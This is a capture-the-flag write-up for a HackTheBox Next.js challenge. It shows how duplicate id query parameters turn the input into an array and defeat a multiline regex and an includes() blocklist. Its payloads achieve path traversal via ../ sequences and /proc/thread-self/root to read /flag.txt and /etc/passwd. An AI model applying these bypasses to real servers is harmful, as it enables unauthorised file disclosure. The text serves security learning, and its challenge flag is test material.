🚩 HTB - Next Path

Executive Summary

  • OS: Linux
  • Key Technique: The web application uses a vulnerable /api/team endpoint that uses id parameter to fetch images for the index page. The endpoint uses multiple layers of filters to prevent injection and path traversal on single id input but failed to prevent user from inputting multiple id parameters, since this makes back-end filters to treat the input as an array instead of a standalone string, which leads to the filters become completely void.
  • Status: Completed

Reconnaissance

Dockerfile

FROM node:18-alpine
 
# Install dependencies
WORKDIR /app
 
COPY app/package*.json ./
RUN npm install
 
# Copy app source code
COPY app/ .
RUN npm run build
 
# Note: the flag is stored inside root dir
COPY flag.txt /flag.txt 
 
# Run the app
ENV NODE_ENV production
ENV PORT 1337
 
EXPOSE 1337
 
# Note: the user inside the container is set to `node`
USER node
CMD ["npm", "start"]

Nothing special other than knowing the path to the flag is in the root folder and the user of the container is ‘node’

Installed Packages

// package.json
"dependencies": {
    "eslint": "8.42.0",
    "eslint-config-next": "13.4.5",
    "fs": "^0.0.1-security",
    "next": "13.4.5",
    "react": "18.2.0",
    "react-dom": "18.2.0"
}

The application uses Next.js version 13.4.5, that are vulnerable to many critical CVEs:

  • CVE-2025-29927: bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.

⟹ Find something like a middleware.jsfile

  • CVE-2024-34351: (incomplete) Server-side Request Forgery vulnerability inside Next.js Server Actions (basically another way to define endpoints)
    1. Next.js is running in a self-hosted manner
    2. the Next.js application makes use of Server Actions
    3. the Server Action performs a redirect to a relative path which starts with a/

⟹ Find pieces of code that uses 'use server' and uses a redirect('/something')

I tried looking for all of these but none were found

Routers

There is only one API endpoint that was used to fetch images for the index page that is /api/team.

The endpoint takes input from anid parameter this means that matches the regex /^[0-9]+$/m put it through a list of filters to check whether the input matches the regex and whether it contains common path-traversal indicator such as .. and /

center

Path Traversal Exploitation

Normally, the regex /^[0-9]+$/ means the input string should contains only numbers and nothing else (e.g. 123456) to pass the filter. However, by adding /m, the input string passed to the test() method is allowed to have the newline character \n and test() returns True as long as ANY lines matches the inner regex (e.g. 1234\nhello), you can refer to this docs for more information.

As for the second filter, it uses a blacklist filter so we might be able to obfuscate it with URL encode. I fire up BurpSuite and test a few payloads with the repeater.

Payload:1%0A../../../../etc/passwd

center

As expected, it got through the first filter, but stuck at the second one that check for the existence of / or .. inside the payload.

Let’s try to bypass this with URL encoding:

Payload:1%0A%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

center

Payload (Double-encoding): 1%0A%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

center

It can bypass both the filters, however, the back-end only resolve the URL encoding once, making the file unable to be read. We need a more robust way to bypass this. The biggest filter in the end is still the includes() filter, I tried googling and come across this post that demonstrates a JavaScript includes() bypass by injecting an array instead of a normal string.

When an array is passed to the function, includes() check whether the input array contains whatever inside the parentheses, not as a substring but an element.

const array1 = ["123", "/"];
console.log(array1.includes("/")); 
// output: true 
 
const array2 = ["123", "../../etc/passwd"];
console.log(array2.includes("/")); 
// output: false 

In order to pass an array in Next.js, we input the id twice with ?id=input1&id=input2.

center

If I input to the URL as ?id=123&id=hello the array would be ["123","hello"], when casting an array into a string, Javascript’s built-intoString() method is called and convert the array to 123,hello, the regex filter will then match this with the regex pattern. Same thing happens when I try to concatenate an array with a string.

array = ["123","hello"]; 
console.log(array + ".png");
// output: 123,hello.png 

Here is the input I need to craft:

  • Contains two id parameter to bypass the second filter.
  • The first id contains a string of number like1234 ending with a \n to bypass the first filter.

Note that the slice(0, 100) only takes the first 100 characters of the input so I can make use of this to remove the .png extension.

The current working directory is /app, we need to pass to the slice method a string like this team/1111111...1111\n,/../../../flag.txt that has exactly 100 characters, the ,/../../../flag.txt has 19 characters, team/ has 5 character, so we need 75 digit 1 for the first id.

Payload: ?id=111111111111111111111111111111111111111111111111111111111111111111111111111%0A&id=/../../../flag.txt

center

It does not work… it turns out the the path.join() method automatically do the path traversal and squashed everything together.

center

However, this does not mean we’re out of luck. Notice that in the second test that I did, the returned string is ../../flag.txt, this means this is the actual string that is passed to the slice(0,100) method. This means the length of the first id does not matter. We just need the second id to be formulated in a sequence that has returns a 100 character string.

With 3 ../ we manage to bring flag.txt appear like this:

center

If we add multiple ../ together, the best result that we can get is:

center

This is because flag.txt is 8 characters long, and ../ is three characters, this makes the closest to 100 we can get is 101.

Inside Linux /proc is like a pseudo file system, and there are are two directory that are sym links to the root directory that is /proc/self/root and /proc/thread-self/root. Since /proc/self/rootis 15 characters long, the results of using it is the same as using 5 ../, however, /proc/thread-self/root is 17 characters long, added with flag.txt make it 25, with 75 characters left we can just use 25../.

Payload: ?id=123%0A&id=../../../../../../../../../../../../../../../../../../../proc/thread-self/root/proc/thread-self/root/flag.txt

Loot & Flags

Flag: HTB{tr4v3r51ng_p45t_411_th3_ch3ck5…t4sk_w3ll_d0ne!}